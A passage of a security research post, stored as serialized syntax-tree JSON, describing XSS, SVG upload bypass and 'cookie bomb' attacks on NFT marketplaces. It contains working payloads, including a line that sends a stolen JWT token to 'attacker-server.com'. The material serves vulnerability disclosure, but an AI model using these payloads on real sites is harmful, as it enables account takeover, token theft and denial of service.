"value":40450},{"type":24,"tag":271,"props":41256,"children":41257},{"class":273,"line":330},[41258,41262,41266,41270,41274,41278,41282,41286,41290],{"type":24,"tag":271,"props":41259,"children":41260},{"style":40046},[41261],{"type":29,"value":40259},{"type":24,"tag":271,"props":41263,"children":41264},{"style":278},[41265],{"type":29,"value":16082},{"type":24,"tag":271,"props":41267,"children":41268},{"style":630},[41269],{"type":29,"value":40211},{"type":24,"tag":271,"props":41271,"children":41272},{"style":624},[41273],{"type":29,"value":762},{"type":24,"tag":271,"props":41275,"children":41276},{"style":378},[41277],{"type":29,"value":40474},{"type":24,"tag":271,"props":41279,"children":41280},{"style":630},[41281],{"type":29,"value":40181},{"type":24,"tag":271,"props":41283,"children":41284},{"style":624},[41285],{"type":29,"value":762},{"type":24,"tag":271,"props":41287,"children":41288},{"style":378},[41289],{"type":29,"value":40487},{"type":24,"tag":271,"props":41291,"children":41292},{"style":40046},[41293],{"type":29,"value":40450},{"type":24,"tag":271,"props":41295,"children":41296},{"class":273,"line":339},[41297,41301,41305],{"type":24,"tag":271,"props":41298,"children":41299},{"style":40046},[41300],{"type":29,"value":40499},{"type":24,"tag":271,"props":41302,"children":41303},{"style":278},[41304],{"type":29,"value":40121},{"type":24,"tag":271,"props":41306,"children":41307},{"style":40046},[41308],{"type":29,"value":13709},{"type":24,"tag":271,"props":41310,"children":41311},{"class":273,"line":347},[41312,41316,41320],{"type":24,"tag":271,"props":41313,"children":41314},{"style":40046},[41315],{"type":29,"value":40515},{"type":24,"tag":271,"props":41317,"children":41318},{"style":278},[41319],{"type":29,"value":40070},{"type":24,"tag":271,"props":41321,"children":41322},{"style":40046},[41323],{"type":29,"value":13709},{"type":24,"tag":271,"props":41325,"children":41326},{"class":273,"line":356},[41327],{"type":24,"tag":271,"props":41328,"children":41329},{"emptyLinePlaceholder":16},[41330],{"type":29,"value":327},{"type":24,"tag":271,"props":41332,"children":41333},{"class":273,"line":365},[41334,41338,41342],{"type":24,"tag":271,"props":41335,"children":41336},{"style":40046},[41337],{"type":29,"value":40065},{"type":24,"tag":271,"props":41339,"children":41340},{"style":278},[41341],{"type":29,"value":40086},{"type":24,"tag":271,"props":41343,"children":41344},{"style":40046},[41345],{"type":29,"value":13709},{"type":24,"tag":271,"props":41347,"children":41348},{"class":273,"line":374},[41349],{"type":24,"tag":271,"props":41350,"children":41351},{"emptyLinePlaceholder":16},[41352],{"type":29,"value":327},{"type":24,"tag":271,"props":41354,"children":41355},{"class":273,"line":384},[41356,41360],{"type":24,"tag":271,"props":41357,"children":41358},{"style":288},[41359],{"type":29,"value":40560},{"type":24,"tag":271,"props":41361,"children":41362},{"style":278},[41363],{"type":29,"value":702},{"type":24,"tag":271,"props":41365,"children":41366},{"class":273,"line":393},[41367,41371,41375,41379,41383,41387,41391,41395,41399,41403,41407,41411],{"type":24,"tag":271,"props":41368,"children":41369},{"style":630},[41370],{"type":29,"value":1628},{"type":24,"tag":271,"props":41372,"children":41373},{"style":630},[41374],{"type":29,"value":40576},{"type":24,"tag":271,"props":41376,"children":41377},{"style":624},[41378],{"type":29,"value":40581},{"type":24,"tag":271,"props":41380,"children":41381},{"style":749},[41382],{"type":29,"value":40586},{"type":24,"tag":271,"props":41384,"children":41385},{"style":624},[41386],{"type":29,"value":1357},{"type":24,"tag":271,"props":41388,"children":41389},{"style":749},[41390],{"type":29,"value":40586},{"type":24,"tag":271,"props":41392,"children":41393},{"style":598},[41394],{"type":29,"value":40599},{"type":24,"tag":271,"props":41396,"children":41397},{"style":624},[41398],{"type":29,"value":606},{"type":24,"tag":271,"props":41400,"children":41401},{"style":378},[41402],{"type":29,"value":40608},{"type":24,"tag":271,"props":41404,"children":41405},{"style":624},[41406],{"type":29,"value":40613},{"type":24,"tag":271,"props":41408,"children":41409},{"style":598},[41410],{"type":29,"value":40618},{"type":24,"tag":271,"props":41412,"children":41413},{"style":624},[41414],{"type":29,"value":15452},{"type":24,"tag":271,"props":41416,"children":41417},{"class":273,"line":402},[41418],{"type":24,"tag":271,"props":41419,"children":41420},{"emptyLinePlaceholder":16},[41421],{"type":29,"value":327},{"type":24,"tag":271,"props":41423,"children":41424},{"class":273,"line":411},[41425,41429,41433,41437,41441,41445,41449,41453,41457,41461,41465,41469,41473],{"type":24,"tag":271,"props":41426,"children":41427},{"style":630},[41428],{"type":29,"value":10800},{"type":24,"tag":271,"props":41430,"children":41431},{"style":630},[41432],{"type":29,"value":896},{"type":24,"tag":271,"props":41434,"children":41435},{"style":624},[41436],{"type":29,"value":40581},{"type":24,"tag":271,"props":41438,"children":41439},{"style":278},[41440],{"type":29,"value":22819},{"type":24,"tag":271,"props":41442,"children":41443},{"style":598},[41444],{"type":29,"value":40653},{"type":24,"tag":271,"props":41446,"children":41447},{"style":624},[41448],{"type":29,"value":40658},{"type":24,"tag":271,"props":41450,"children":41451},{"style":630},[41452],{"type":29,"value":40618},{"type":24,"tag":271,"props":41454,"children":41455},{"style":624},[41456],{"type":29,"value":8505},{"type":24,"tag":271,"props":41458,"children":41459},{"style":378},[41460],{"type":29,"value":40671},{"type":24,"tag":271,"props":41462,"children":41463},{"style":624},[41464],{"type":29,"value":40676},{"type":24,"tag":271,"props":41466,"children":41467},{"style":630},[41468],{"type":29,"value":40681},{"type":24,"tag":271,"props":41470,"children":41471},{"style":378},[41472],{"type":29,"value":40686},{"type":24,"tag":271,"props":41474,"children":41475},{"style":624},[41476],{"type":29,"value":40691},{"type":24,"tag":271,"props":41478,"children":41479},{"class":273,"line":420},[41480,41484,41488,41492,41496,41500],{"type":24,"tag":271,"props":41481,"children":41482},{"style":630},[41483],{"type":29,"value":1628},{"type":24,"tag":271,"props":41485,"children":41486},{"style":630},[41487],{"type":29,"value":40703},{"type":24,"tag":271,"props":41489,"children":41490},{"style":624},[41491],{"type":29,"value":40581},{"type":24,"tag":271,"props":41493,"children":41494},{"style":278},[41495],{"type":29,"value":22819},{"type":24,"tag":271,"props":41497,"children":41498},{"style":598},[41499],{"type":29,"value":40716},{"type":24,"tag":271,"props":41501,"children":41502},{"style":624},[41503],{"type":29,"value":4230},{"type":24,"tag":271,"props":41505,"children":41506},{"class":273,"line":429},[41507,41511,41515,41519,41523,41527,41531,41535],{"type":24,"tag":271,"props":41508,"children":41509},{"style":630},[41510],{"type":29,"value":40728},{"type":24,"tag":271,"props":41512,"children":41513},{"style":624},[41514],{"type":29,"value":41},{"type":24,"tag":271,"props":41516,"children":41517},{"style":630},[41518],{"type":29,"value":40737},{"type":24,"tag":271,"props":41520,"children":41521},{"style":624},[41522],{"type":29,"value":41},{"type":24,"tag":271,"props":41524,"children":41525},{"style":598},[41526],{"type":29,"value":17344},{"type":24,"tag":271,"props":41528,"children":41529},{"style":624},[41530],{"type":29,"value":606},{"type":24,"tag":271,"props":41532,"children":41533},{"style":630},[41534],{"type":29,"value":791},{"type":24,"tag":271,"props":41536,"children":41537},{"style":624},[41538],{"type":29,"value":1155},{"type":24,"tag":271,"props":41540,"children":41541},{"class":273,"line":438},[41542],{"type":24,"tag":271,"props":41543,"children":41544},{"emptyLinePlaceholder":16},[41545],{"type":29,"value":327},{"type":24,"tag":271,"props":41547,"children":41548},{"class":273,"line":447},[41549,41553,41557,41561,41565,41569,41573,41577],{"type":24,"tag":271,"props":41550,"children":41551},{"style":630},[41552],{"type":29,"value":40772},{"type":24,"tag":271,"props":41554,"children":41555},{"style":624},[41556],{"type":29,"value":41},{"type":24,"tag":271,"props":41558,"children":41559},{"style":630},[41560],{"type":29,"value":40781},{"type":24,"tag":271,"props":41562,"children":41563},{"style":624},[41564],{"type":29,"value":40581},{"type":24,"tag":271,"props":41566,"children":41567},{"style":630},[41568],{"type":29,"value":40790},{"type":24,"tag":271,"props":41570,"children":41571},{"style":624},[41572],{"type":29,"value":41},{"type":24,"tag":271,"props":41574,"children":41575},{"style":630},[41576],{"type":29,"value":40781},{"type":24,"tag":271,"props":41578,"children":41579},{"style":624},[41580],{"type":29,"value":1069},{"type":24,"tag":271,"props":41582,"children":41583},{"class":273,"line":455},[41584],{"type":24,"tag":271,"props":41585,"children":41586},{"emptyLinePlaceholder":16},[41587],{"type":29,"value":327},{"type":24,"tag":271,"props":41589,"children":41590},{"class":273,"line":464},[41591,41596,41600,41605],{"type":24,"tag":271,"props":41592,"children":41593},{"style":630},[41594],{"type":29,"value":41595}," form123",{"type":24,"tag":271,"props":41597,"children":41598},{"style":624},[41599],{"type":29,"value":41},{"type":24,"tag":271,"props":41601,"children":41602},{"style":598},[41603],{"type":29,"value":41604},"submit",{"type":24,"tag":271,"props":41606,"children":41607},{"style":624},[41608],{"type":29,"value":15452},{"type":24,"tag":271,"props":41610,"children":41611},{"class":273,"line":473},[41612,41616],{"type":24,"tag":271,"props":41613,"children":41614},{"style":278},[41615],{"type":29,"value":40810},{"type":24,"tag":271,"props":41617,"children":41618},{"style":288},[41619],{"type":29,"value":40815},{"type":24,"tag":271,"props":41621,"children":41622},{"class":273,"line":483},[41623],{"type":24,"tag":271,"props":41624,"children":41625},{"emptyLinePlaceholder":16},[41626],{"type":29,"value":327},{"type":24,"tag":271,"props":41628,"children":41629},{"class":273,"line":491},[41630,41634,41638],{"type":24,"tag":271,"props":41631,"children":41632},{"style":40046},[41633],{"type":29,"value":40515},{"type":24,"tag":271,"props":41635,"children":41636},{"style":278},[41637],{"type":29,"value":40086},{"type":24,"tag":271,"props":41639,"children":41640},{"style":40046},[41641],{"type":29,"value":13709},{"type":24,"tag":271,"props":41643,"children":41644},{"class":273,"line":499},[41645,41649,41653],{"type":24,"tag":271,"props":41646,"children":41647},{"style":40046},[41648],{"type":29,"value":40100},{"type":24,"tag":271,"props":41650,"children":41651},{"style":278},[41652],{"type":29,"value":40053},{"type":24,"tag":271,"props":41654,"children":41655},{"style":40046},[41656],{"type":29,"value":13709},{"type":24,"tag":25,"props":41658,"children":41659},{},[41660],{"type":29,"value":41661},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":261,"props":41663,"children":41667},{"className":41664,"code":41665,"language":41666,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[41668],{"type":24,"tag":135,"props":41669,"children":41670},{"__ignoreMap":7},[41671,41678,41699,41720,41737],{"type":24,"tag":271,"props":41672,"children":41673},{"class":273,"line":274},[41674],{"type":24,"tag":271,"props":41675,"children":41676},{"style":288},[41677],{"type":29,"value":702},{"type":24,"tag":271,"props":41679,"children":41680},{"class":273,"line":284},[41681,41686,41690,41695],{"type":24,"tag":271,"props":41682,"children":41683},{"style":630},[41684],{"type":29,"value":41685}," \"address\"",{"type":24,"tag":271,"props":41687,"children":41688},{"style":288},[41689],{"type":29,"value":23028},{"type":24,"tag":271,"props":41691,"children":41692},{"style":378},[41693],{"type":29,"value":41694},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":271,"props":41696,"children":41697},{"style":288},[41698],{"type":29,"value":638},{"type":24,"tag":271,"props":41700,"children":41701},{"class":273,"line":294},[41702,41707,41711,41716],{"type":24,"tag":271,"props":41703,"children":41704},{"style":630},[41705],{"type":29,"value":41706}," \"to\"",{"type":24,"tag":271,"props":41708,"children":41709},{"style":288},[41710],{"type":29,"value":23028},{"type":24,"tag":271,"props":41712,"children":41713},{"style":378},[41714],{"type":29,"value":41715},"\"profile-assets\"",{"type":24,"tag":271,"props":41717,"children":41718},{"style":288},[41719],{"type":29,"value":638},{"type":24,"tag":271,"props":41721,"children":41722},{"class":273,"line":303},[41723,41728,41732],{"type":24,"tag":271,"props":41724,"children":41725},{"style":630},[41726],{"type":29,"value":41727}," \"type\"",{"type":24,"tag":271,"props":41729,"children":41730},{"style":288},[41731],{"type":29,"value":23028},{"type":24,"tag":271,"props":41733,"children":41734},{"style":378},[41735],{"type":29,"value":41736},"\"icon\"\n",{"type":24,"tag":271,"props":41738,"children":41739},{"class":273,"line":312},[41740],{"type":24,"tag":271,"props":41741,"children":41742},{"style":288},[41743],{"type":29,"value":1171},{"type":24,"tag":25,"props":41745,"children":41746},{},[41747],{"type":29,"value":41748},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":261,"props":41750,"children":41752},{"className":39038,"code":41751,"language":39040,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[41753],{"type":24,"tag":135,"props":41754,"children":41755},{"__ignoreMap":7},[41756],{"type":24,"tag":271,"props":41757,"children":41758},{"class":273,"line":274},[41759,41764,41768,41773,41778,41783,41787,41792,41796,41801,41805,41810,41814],{"type":24,"tag":271,"props":41760,"children":41761},{"style":598},[41762],{"type":29,"value":41763},"fetch",{"type":24,"tag":271,"props":41765,"children":41766},{"style":288},[41767],{"type":29,"value":606},{"type":24,"tag":271,"props":41769,"children":41770},{"style":378},[41771],{"type":29,"value":41772},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":271,"props":41774,"children":41775},{"style":278},[41776],{"type":29,"value":41777},"${",{"type":24,"tag":271,"props":41779,"children":41780},{"style":630},[41781],{"type":29,"value":41782},"localStorage",{"type":24,"tag":271,"props":41784,"children":41785},{"style":624},[41786],{"type":29,"value":41},{"type":24,"tag":271,"props":41788,"children":41789},{"style":598},[41790],{"type":29,"value":41791},"getItem",{"type":24,"tag":271,"props":41793,"children":41794},{"style":624},[41795],{"type":29,"value":606},{"type":24,"tag":271,"props":41797,"children":41798},{"style":378},[41799],{"type":29,"value":41800},"'token'",{"type":24,"tag":271,"props":41802,"children":41803},{"style":624},[41804],{"type":29,"value":2693},{"type":24,"tag":271,"props":41806,"children":41807},{"style":278},[41808],{"type":29,"value":41809},"}",{"type":24,"tag":271,"props":41811,"children":41812},{"style":378},[41813],{"type":29,"value":18086},{"type":24,"tag":271,"props":41815,"children":41816},{"style":288},[41817],{"type":29,"value":1155},{"type":24,"tag":85,"props":41819,"children":41821},{"id":41820},"svgs",[41822],{"type":29,"value":41823},"SVGs",{"type":24,"tag":25,"props":41825,"children":41826},{},[41827],{"type":29,"value":41828},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":25,"props":41830,"children":41831},{},[41832],{"type":29,"value":41833},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":261,"props":41835,"children":41837},{"className":39038,"code":41836,"language":39040,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[41838],{"type":24,"tag":135,"props":41839,"children":41840},{"__ignoreMap":7},[41841,41887,41924,41931,41961,41993,42021,42029,42045],{"type":24,"tag":271,"props":41842,"children":41843},{"class":273,"line":274},[41844,41849,41854,41859,41863,41868,41873,41877,41882],{"type":24,"tag":271,"props":41845,"children":41846},{"style":624},[41847],{"type":29,"value":41848},"\u003C?",{"type":24,"tag":271,"props":41850,"children":41851},{"style":630},[41852],{"type":29,"value":41853},"xml",{"type":24,"tag":271,"props":41855,"children":41856},{"style":630},[41857],{"type":29,"value":41858}," version",{"type":24,"tag":271,"props":41860,"children":41861},{"style":624},[41862],{"type":29,"value":762},{"type":24,"tag":271,"props":41864,"children":41865},{"style":378},[41866],{"type":29,"value":41867},"\"1.0\"",{"type":24,"tag":271,"props":41869,"children":41870},{"style":630},[41871],{"type":29,"value":41872}," encoding",{"type":24,"tag":271,"props":41874,"children":41875},{"style":624},[41876],{"type":29,"value":762},{"type":24,"tag":271,"props":41878,"children":41879},{"style":378},[41880],{"type":29,"value":41881},"\"UTF-8\"",{"type":24,"tag":271,"props":41883,"children":41884},{"style":624},[41885],{"type":29,"value":41886},"?>\n",{"type":24,"tag":271,"props":41888,"children":41889},{"class":273,"line":284},[41890,41895,41900,41905,41910,41915,41920],{"type":24,"tag":271,"props":41891,"children":41892},{"style":624},[41893],{"type":29,"value":41894},"\u003C!",{"type":24,"tag":271,"props":41896,"children":41897},{"style":630},[41898],{"type":29,"value":41899},"DOCTYPE",{"type":24,"tag":271,"props":41901,"children":41902},{"style":630},[41903],{"type":29,"value":41904}," svg",{"type":24,"tag":271,"props":41906,"children":41907},{"style":630},[41908],{"type":29,"value":41909}," PUBLIC",{"type":24,"tag":271,"props":41911,"children":41912},{"style":378},[41913],{"type":29,"value":41914}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":271,"props":41916,"children":41917},{"style":378},[41918],{"type":29,"value":41919}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":271,"props":41921,"children":41922},{"style":624},[41923],{"type":29,"value":13709},{"type":24,"tag":271,"props":41925,"children":41926},{"class":273,"line":294},[41927],{"type":24,"tag":271,"props":41928,"children":41929},{"emptyLinePlaceholder":16},[41930],{"type":29,"value":327},{"type":24,"tag":271,"props":41932,"children":41933},{"class":273,"line":303},[41934,41938,41943,41948,41952,41957],{"type":24,"tag":271,"props":41935,"children":41936},{"style":40046},[41937],{"type":29,"value":16432},{"type":24,"tag":271,"props":41939,"children":41940},{"style":278},[41941],{"type":29,"value":41942},"svg",{"type":24,"tag":271,"props":41944,"children":41945},{"style":630},[41946],{"type":29,"value":41947}," xmlns",{"type":24,"tag":271,"props":41949,"children":41950},{"style":624},[41951],{"type":29,"value":762},{"type":24,"tag":271,"props":41953,"children":41954},{"style":378},[41955],{"type":29,"value":41956},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":271,"props":41958,"children":41959},{"style":40046},[41960],{"type":29,"value":13709},{"type":24,"tag":271,"props":41962,"children":41963},{"class":273,"line":312},[41964,41968,41973,41977,41981,41985,41989],{"type":24,"tag":271,"props":41965,"children":41966},{"style":40046},[41967],{"type":29,"value":40065},{"type":24,"tag":271,"props":41969,"children":41970},{"style":278},[41971],{"type":29,"value":41972},"title",{"type":24,"tag":271,"props":41974,"children":41975},{"style":40046},[41976],{"type":29,"value":18165},{"type":24,"tag":271,"props":41978,"children":41979},{"style":288},[41980],{"type":29,"value":38912},{"type":24,"tag":271,"props":41982,"children":41983},{"style":40046},[41984],{"type":29,"value":40100},{"type":24,"tag":271,"props":41986,"children":41987},{"style":278},[41988],{"type":29,"value":41972},{"type":24,"tag":271,"props":41990,"children":41991},{"style":40046},[41992],{"type":29,"value":13709},{"type":24,"tag":271,"props":41994,"children":41995},{"class":273,"line":321},[41996,42000,42004,42008,42012,42017],{"type":24,"tag":271,"props":41997,"children":41998},{"style":40046},[41999],{"type":29,"value":40065},{"type":24,"tag":271,"props":42001,"children":42002},{"style":278},[42003],{"type":29,"value":40086},{"type":24,"tag":271,"props":42005,"children":42006},{"style":630},[42007],{"type":29,"value":40211},{"type":24,"tag":271,"props":42009,"children":42010},{"style":624},[42011],{"type":29,"value":762},{"type":24,"tag":271,"props":42013,"children":42014},{"style":378},[42015],{"type":29,"value":42016},"\"text/javascript\"",{"type":24,"tag":271,"props":42018,"children":42019},{"style":40046},[42020],{"type":29,"value":13709},{"type":24,"tag":271,"props":42022,"children":42023},{"class":273,"line":330},[42024],{"type":24,"tag":271,"props":42025,"children":42026},{"style":288},[42027],{"type":29,"value":42028}," alert(document.domain);\n",{"type":24,"tag":271,"props":42030,"children":42031},{"class":273,"line":339},[42032,42037,42041],{"type":24,"tag":271,"props":42033,"children":42034},{"style":40046},[42035],{"type":29,"value":42036}," \u003C/",{"type":24,"tag":271,"props":42038,"children":42039},{"style":278},[42040],{"type":29,"value":40086},{"type":24,"tag":271,"props":42042,"children":42043},{"style":40046},[42044],{"type":29,"value":13709},{"type":24,"tag":271,"props":42046,"children":42047},{"class":273,"line":347},[42048,42053,42057],{"type":24,"tag":271,"props":42049,"children":42050},{"style":40046},[42051],{"type":29,"value":42052}," \u003C/",{"type":24,"tag":271,"props":42054,"children":42055},{"style":278},[42056],{"type":29,"value":41942},{"type":24,"tag":271,"props":42058,"children":42059},{"style":40046},[42060],{"type":29,"value":13709},{"type":24,"tag":25,"props":42062,"children":42063},{},[42064,42066,42073],{"type":29,"value":42065},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":32,"props":42067,"children":42070},{"href":42068,"rel":42069},"https://xtingles.com/",[36],[42071],{"type":29,"value":42072},"xtingles Marketplace",{"type":29,"value":41},{"type":24,"tag":25,"props":42075,"children":42076},{},[42077],{"type":29,"value":42078},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":25,"props":42080,"children":42081},{},[42082],{"type":29,"value":42083},"Below, we show you how we did it.",{"type":24,"tag":25,"props":42085,"children":42086},{},[42087],{"type":29,"value":42088},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":25,"props":42090,"children":42091},{},[42092],{"type":24,"tag":74,"props":42093,"children":42095},{"alt":7,"src":42094},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":25,"props":42097,"children":42098},{},[42099],{"type":29,"value":42100},"After changing the extension inside the file name.",{"type":24,"tag":25,"props":42102,"children":42103},{},[42104],{"type":24,"tag":74,"props":42105,"children":42107},{"alt":7,"src":42106},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":85,"props":42109,"children":42111},{"id":42110},"svgs-return",[42112],{"type":29,"value":42113},"SVGs Return",{"type":24,"tag":25,"props":42115,"children":42116},{},[42117],{"type":29,"value":42118},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":24,"tag":25,"props":42120,"children":42121},{},[42122],{"type":29,"value":42123},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":25,"props":42125,"children":42126},{},[42127],{"type":29,"value":42128},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":261,"props":42130,"children":42134},{"className":42131,"code":42132,"language":42133,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[42135],{"type":24,"tag":135,"props":42136,"children":42137},{"__ignoreMap":7},[42138,42177,42208,42215,42242,42273,42300,42308,42316,42323,42335,42410,42417,42432],{"type":24,"tag":271,"props":42139,"children":42140},{"class":273,"line":274},[42141,42145,42149,42153,42157,42161,42165,42169,42173],{"type":24,"tag":271,"props":42142,"children":42143},{"style":624},[42144],{"type":29,"value":41848},{"type":24,"tag":271,"props":42146,"children":42147},{"style":630},[42148],{"type":29,"value":41853},{"type":24,"tag":271,"props":42150,"children":42151},{"style":630},[42152],{"type":29,"value":41858},{"type":24,"tag":271,"props":42154,"children":42155},{"style":624},[42156],{"type":29,"value":762},{"type":24,"tag":271,"props":42158,"children":42159},{"style":378},[42160],{"type":29,"value":41867},{"type":24,"tag":271,"props":42162,"children":42163},{"style":630},[42164],{"type":29,"value":41872},{"type":24,"tag":271,"props":42166,"children":42167},{"style":624},[42168],{"type":29,"value":762},{"type":24,"tag":271,"props":42170,"children":42171},{"style":378},[42172],{"type":29,"value":41881},{"type":24,"tag":271,"props":42174,"children":42175},{"style":624},[42176],{"type":29,"value":41886},{"type":24,"tag":271,"props":42178,"children":42179},{"class":273,"line":284},[42180,42184,42188,42192,42196,42200,42204],{"type":24,"tag":271,"props":42181,"children":42182},{"style":624},[42183],{"type":29,"value":41894},{"type":24,"tag":271,"props":42185,"children":42186},{"style":630},[42187],{"type":29,"value":41899},{"type":24,"tag":271,"props":42189,"children":42190},{"style":630},[42191],{"type":29,"value":41904},{"type":24,"tag":271,"props":42193,"children":42194},{"style":630},[42195],{"type":29,"value":41909},{"type":24,"tag":271,"props":42197,"children":42198},{"style":378},[42199],{"type":29,"value":41914},{"type":24,"tag":271,"props":42201,"children":42202},{"style":378},[42203],{"type":29,"value":41919},{"type":24,"tag":271,"props":42205,"children":42206},{"style":624},[42207],{"type":29,"value":13709},{"type":24,"tag":271,"props":42209,"children":42210},{"class":273,"line":294},[42211],{"type":24,"tag":271,"props":42212,"children":42213},{"emptyLinePlaceholder":16},[42214],{"type":29,"value":327},{"type":24,"tag":271,"props":42216,"children":42217},{"class":273,"line":303},[42218,42222,42226,42230,42234,42238],{"type":24,"tag":271,"props":42219,"children":42220},{"style":40046},[42221],{"type":29,"value":16432},{"type":24,"tag":271,"props":42223,"children":42224},{"style":278},[42225],{"type":29,"value":41942},{"type":24,"tag":271,"props":42227,"children":42228},{"style":630},[42229],{"type":29,"value":41947},{"type":24,"tag":271,"props":42231,"children":42232},{"style":624},[42233],{"type":29,"value":762},{"type":24,"tag":271,"props":42235,"children":42236},{"style":378},[42237],{"type":29,"value":41956},{"type":24,"tag":271,"props":42239,"children":42240},{"style":40046},[42241],{"type":29,"value":13709},{"type":24,"tag":271,"props":42243,"children":42244},{"class":273,"line":312},[42245,42249,42253,42257,42261,42265,42269],{"type":24,"tag":271,"props":42246,"children":42247},{"style":40046},[42248],{"type":29,"value":40065},{"type":24,"tag":271,"props":42250,"children":42251},{"style":278},[42252],{"type":29,"value":41972},{"type":24,"tag":271,"props":42254,"children":42255},{"style":40046},[42256],{"type":29,"value":18165},{"type":24,"tag":271,"props":42258,"children":42259},{"style":288},[42260],{"type":29,"value":38912},{"type":24,"tag":271,"props":42262,"children":42263},{"style":40046},[42264],{"type":29,"value":40100},{"type":24,"tag":271,"props":42266,"children":42267},{"style":278},[42268],{"type":29,"value":41972},{"type":24,"tag":271,"props":42270,"children":42271},{"style":40046},[42272],{"type":29,"value":13709},{"type":24,"tag":271,"props":42274,"children":42275},{"class":273,"line":321},[42276,42280,42284,42288,42292,42296],{"type":24,"tag":271,"props":42277,"children":42278},{"style":40046},[42279],{"type":29,"value":40065},{"type":24,"tag":271,"props":42281,"children":42282},{"style":278},[42283],{"type":29,"value":40086},{"type":24,"tag":271,"props":42285,"children":42286},{"style":630},[42287],{"type":29,"value":40211},{"type":24,"tag":271,"props":42289,"children":42290},{"style":624},[42291],{"type":29,"value":762},{"type":24,"tag":271,"props":42293,"children":42294},{"style":378},[42295],{"type":29,"value":42016},{"type":24,"tag":271,"props":42297,"children":42298},{"style":40046},[42299],{"type":29,"value":13709},{"type":24,"tag":271,"props":42301,"children":42302},{"class":273,"line":330},[42303],{"type":24,"tag":271,"props":42304,"children":42305},{"style":288},[42306],{"type":29,"value":42307}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":271,"props":42309,"children":42310},{"class":273,"line":339},[42311],{"type":24,"tag":271,"props":42312,"children":42313},{"style":288},[42314],{"type":29,"value":42315}," var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":271,"props":42317,"children":42318},{"class":273,"line":347},[42319],{"type":24,"tag":271,"props":42320,"children":42321},{"emptyLinePlaceholder":16},[42322],{"type":29,"value":327},{"type":24,"tag":271,"props":42324,"children":42325},{"class":273,"line":356},[42326,42331],{"type":24,"tag":271,"props":42327,"children":42328},{"style":288},[42329],{"type":29,"value":42330}," for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":271,"props":42332,"children":42333},{"style":278},[42334],{"type":29,"value":702},{"type":24,"tag":271,"props":42336,"children":42337},{"class":273,"line":365},[42338,42343,42347,42352,42356,42361,42366,42370,42374,42379,42383,42388,42392,42397,42401,42406],{"type":24,"tag":271,"props":42339,"children":42340},{"style":630},[42341],{"type":29,"value":42342}," document",{"type":24,"tag":271,"props":42344,"children":42345},{"style":624},[42346],{"type":29,"value":41},{"type":24,"tag":271,"props":42348,"children":42349},{"style":630},[42350],{"type":29,"value":42351},"cookie",{"type":24,"tag":271,"props":42353,"children":42354},{"style":624},[42355],{"type":29,"value":40581},{"type":24,"tag":271,"props":42357,"children":42358},{"style":378},[42359],{"type":29,"value":42360},"'Cookie'",{"type":24,"tag":271,"props":42362,"children":42363},{"style":624},[42364],{"type":29,"value":42365}," + 